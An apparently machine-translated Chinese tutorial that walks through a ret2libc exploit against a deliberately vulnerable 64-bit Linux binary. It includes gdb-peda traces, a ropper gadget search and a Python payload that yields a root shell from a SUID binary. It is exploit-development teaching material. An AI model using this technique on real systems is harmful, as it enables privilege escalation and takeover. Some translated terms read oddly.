這是我的64比特Linux堆棧粉碎教程的第2部分。在第1部分中,我們利用經典的堆疊溢位利用了64比特二進位檔案,並瞭解到我們不能盲目地期望通過向緩衝區發送位元組來覆蓋RIP。在第1部分中,我們關閉了ASLR、NX和stack canaries,囙此我們可以專注於開發,而不是繞過這些安全特性。這次我們將啟用NX,並研究如何使用ret2libc利用相同的二進位檔案。
安裝程式
設定與我在第1部分中使用的相同。我們還將利用以下內容:
- Python利用GDB的開發幫助
- 羅珀
Ret2Libc公司
這是我們在第1部分中使用的同一個二進位檔案。唯一的區別是,我們將保持啟用NX,這將封锁我們以前的漏洞利用,因為堆棧現在是不可執行的:
/* Compile: gcc -fno-stack-protector ret2libc.c -o ret2libc */
/* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space */
#include <stdio.h>
#include <unistd.h>
int vuln() {
char buf[80];
int r;
r = read(0, buf, 400);
printf("\nRead %d bytes. buf is %s\n", r, buf);
puts("No shell for you :(");
return 0;
}
int main(int argc, char *argv[]) {
printf("Try to exec /bin/sh");
vuln();
return 0;
}
您也可以在這裡獲取預編譯的二進位檔案。
在32比特二進位檔案中,ret2libc攻擊涉及設定一個假堆棧幀,以便函數調用libc中的函數並傳遞它所需的任何參數。通常這將返回到system()並讓它執行“/bin/sh”。
在64比特二進位檔案中,函數參數在寄存器中傳遞,囙此不需要偽造堆棧幀。前六個參數在寄存器RDI、RSI、RDX、RCX、R8和R9中傳遞。超出此範圍的任何內容都會在堆棧中傳遞。這意味著在返回到libc中我們選擇的函數之前,我們需要確保使用函數期望的參數正確設定寄存器。這反過來又導致我們不得不使用一些面向返回的程式設計(ROP)。如果你不熟悉ROP,別擔心,我們不會進入瘋狂的事情。
我們將從返回system()並執行“/bin/sh”的簡單利用漏洞開始。我們需要一些東西:
- system()的地址。ASLR已禁用,囙此我們不必擔心此地址更改。
- 指向“/bin/sh”的指針。
- 由於第一個函數參數需要在RDI中,我們需要一個ROP小工具,它將指向“/bin/sh”的指針複製到RDI中。
讓我們從查找system()的地址開始。這在gdb中很容易做到:
gdb-peda$ start
.
.
.
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a5ac40 <system>
我們可以同樣輕鬆地蒐索指向“/bin/sh”的指針:
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
ret2libc : 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
ret2libc : 0x6006ff --> 0x68732f6e69622f ('/bin/sh')
libc : 0x7ffff7b9209b --> 0x68732f6e69622f ('/bin/sh')
[email protected]:~/ret2libc$ ropper --file ret2libc --search "% ?di"
Gadgets
=======
0x0000000000400520: mov edi, 0x601050; jmp rax;
0x000000000040051f: pop rbp; mov edi, 0x601050; jmp rax;
0x00000000004006a3: pop rdi; ret ;
3 gadgets found
第三個將值從堆棧中彈出到RDI中的小工具是完美的。我們現在擁有了開發所需的一切:
#!/usr/bin/env python
from struct import *
buf = ""
buf += "A"*104 # junk
buf += pack("<Q", 0x00000000004006a3) # pop rdi; ret;
buf += pack("<Q", 0x4006ff) # pointer to "/bin/sh" gets popped into rdi
buf += pack("<Q", 0x7ffff7a5ac40) # address of system()
f = open("in.txt", "w")
f.write(buf)
此漏洞會將有效負載寫入in.txt,我們可以將其重定向到gdb中的二進位檔案。讓我們快速回顧一下:
- 第7行:我們用ROP小工具的地址覆蓋RIP,所以當vuln()返回時,它執行pop rdi;ret。
- 第8行:當執行pop RDI時,該值被彈出到RDI中。完成後,RSP將指向0x7ffff7a5ac40;system()的地址。
- 第9行:當ret在pop rdi之後執行時,執行返回到system()。system()將查看RDI以獲得它所期望的參數並執行它。在這種情況下,它執行“/bin/sh”。
讓我們看看它在gdb中的作用。我們將在vuln()的返回指令處設定中斷點:
gdb-peda$ br *vuln+73
Breakpoint 1 at 0x40060f
現在,我們將把負載重定向到二進位檔案,它應該到達我們的第一個中斷點:
gdb-peda$ r < in.txt
Try to exec /bin/sh
Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you :(
.
.
.
[-------------------------------------code-------------------------------------]
0x400604 <vuln+62>: call 0x400480 <[email protected]>
0x400609 <vuln+67>: mov eax,0x0
0x40060e <vuln+72>: leave
=> 0x40060f <vuln+73>: ret
0x400610 <main>: push rbp
0x400611 <main+1>: mov rbp,rsp
0x400614 <main+4>: sub rsp,0x10
0x400618 <main+8>: mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe508 --> 0x4006a3 (<__libc_csu_init+99>: pop rdi)
0008| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
0016| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi)
0024| 0x7fffffffe520 --> 0x0
0032| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax)
0040| 0x7fffffffe530 --> 0x0
0048| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")
0056| 0x7fffffffe540 --> 0x100000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040060f in vuln ()
注意,RSP指向0x4006a3,這是我們的ROP小工具。請進入我們的小工具,我們現在可以在其中執行pop rdi。
gdb-peda$ si
.
.
.
[-------------------------------------code-------------------------------------]
=> 0x4006a3 <__libc_csu_init+99>: pop rdi
0x4006a4 <__libc_csu_init+100>: ret
0x4006a5: data32 nop WORD PTR cs:[rax+rax*1+0x0]
0x4006b0 <__libc_csu_fini>: repz ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
0008| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi)
0016| 0x7fffffffe520 --> 0x0
0024| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax)
0032| 0x7fffffffe530 --> 0x0
0040| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")
0048| 0x7fffffffe540 --> 0x100000000
0056| 0x7fffffffe548 --> 0x400610 (<main>: push rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004006a3 in __libc_csu_init ()
步驟和RDI現在應該包含指向“/bin/sh”的指針:
gdb-peda$ si
[----------------------------------registers-----------------------------------]
.
.
.
RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
.
.
.
[-------------------------------------code-------------------------------------]
0x40069e <__libc_csu_init+94>: pop r13
0x4006a0 <__libc_csu_init+96>: pop r14
0x4006a2 <__libc_csu_init+98>: pop r15
=> 0x4006a4 <__libc_csu_init+100>: ret
0x4006a5: data32 nop WORD PTR cs:[rax+rax*1+0x0]
0x4006b0 <__libc_csu_fini>: repz ret
0x4006b2: add BYTE PTR [rax],al
0x4006b4 <_fini>: sub rsp,0x8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi)
0008| 0x7fffffffe520 --> 0x0
0016| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax)
0024| 0x7fffffffe530 --> 0x0
0032| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")
0040| 0x7fffffffe540 --> 0x100000000
0048| 0x7fffffffe548 --> 0x400610 (<main>: push rbp)
0056| 0x7fffffffe550 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004006a4 in __libc_csu_init ()
現在RIP指向ret,RSP指向system()的地址。再次介入,我們現在應該進入system()
gdb-peda$ si
.
.
.
[-------------------------------------code-------------------------------------]
0x7ffff7a5ac35 <cancel_handler+181>: pop rbx
0x7ffff7a5ac36 <cancel_handler+182>: ret
0x7ffff7a5ac37: nop WORD PTR [rax+rax*1+0x0]
=> 0x7ffff7a5ac40 <system>: test rdi,rdi
0x7ffff7a5ac43 <system+3>: je 0x7ffff7a5ac50 <system+16>
0x7ffff7a5ac45 <system+5>: jmp 0x7ffff7a5a770 <do_system>
0x7ffff7a5ac4a <system+10>: nop WORD PTR [rax+rax*1+0x0]
0x7ffff7a5ac50 <system+16>: lea rdi,[rip+0x13744c] # 0x7ffff7b920a3
此時,如果我們繼續執行,我們應該看到“/bin/sh”被執行:
gdb-peda$ c
[New process 11114]
process 11114 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
[New process 11115]
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
process 11115 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
[Inferior 3 (process 11115) exited normally]
Warning: not running or target is remote
太好了,看起來像是我們的開拓工程。我們試試看能不能弄到根殼。我們將更改ret2libc的所有者和許可權,使其成為SUID root:
現在讓我們像在第1部分中一樣執行我們的開發:
[email protected]:~/ret2libc$ (cat in.txt ; cat) | ./ret2libc
Try to exec /bin/sh
Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you :(
whoami
root
又得到了我們的根殼,我們繞過了NX。現在這是一個相對簡單的漏洞利用,只需要一個參數。如果我們需要更多呢?然後,在返回libc中的函數之前,我們需要找到更多的小工具來相應地設定寄存器。如果您面臨挑戰,請重寫該漏洞,使其調用execve()而不是system()。execve()需要三個參數:
int execve(const char *filename, char *const argv[], char *const envp[]);
這意味著您需要在調用execve()之前用正確的值填充RDI、RSI和RDX。嘗試只在二進位檔案中使用小工具,也就是說,不要在libc中查找小工具。祝你好運!